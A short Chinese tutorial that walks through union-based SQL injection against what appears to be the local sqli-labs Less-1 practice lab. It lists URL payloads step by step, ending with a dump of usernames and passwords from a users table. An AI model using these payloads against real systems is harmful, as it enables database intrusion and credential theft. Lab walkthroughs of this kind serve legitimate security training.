Sql 注入攻击是通过将恶意的 Sql 查询或添加语句插入到应用的输入参数中,再在后台 Sql 服务器上解析执行进行的攻击,目前是黑客对数据库进行攻击的最常用手段之一。
第一步
在id=1后加入一个闭合符号’,如果报错,再在后面加上 – qwe将后面注释掉,如果不报错,则证明为字符型。
http://127.0.0.1:8089/Less-1/?id=1' -- qwe
第二步 order by 查询字段个数
逐级增加order by 后面的数字,直到报错。这里是order by到第4个字段时报错,所以证明有3个字段。
http://127.0.0.1:8089/Less-1/?id=1' order by 4 -- qwe
第三步 用select查询
用select查询前三个字段,目的是为了知道哪几个字段在前端显示,这样我们可以将想要查询的数据将前端显示的字段替换掉,比如这里我想查询数据库版本,就用version()替换掉了2。注意前面的id=1要改为id=-1,目的是为了让前面的查询语句不执行,这样我们后面查询的version()才能够显示出来。
http://127.0.0.1:8089/Less-1/?id=1'union select 1,2,3 -- qwe
http://127.0.0.1:8089/Less-1/?id=1'union select 1,version(),3 -- qwe
第四步 查询数据库
http://127.0.0.1:8089/Less-1/?id=1'union select 1,database(),3 -- qwe
第五步查询password和username
http://127.0.0.1:8089/Less-1/?id=-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_schema='security' and table_name='users' -- qwe
第六步 username和password的具体数据
http://127.0.0.1:8089/Less-1/?id=1' and 1=2 union select 1,group_concat(username),group_concat(password) from users --+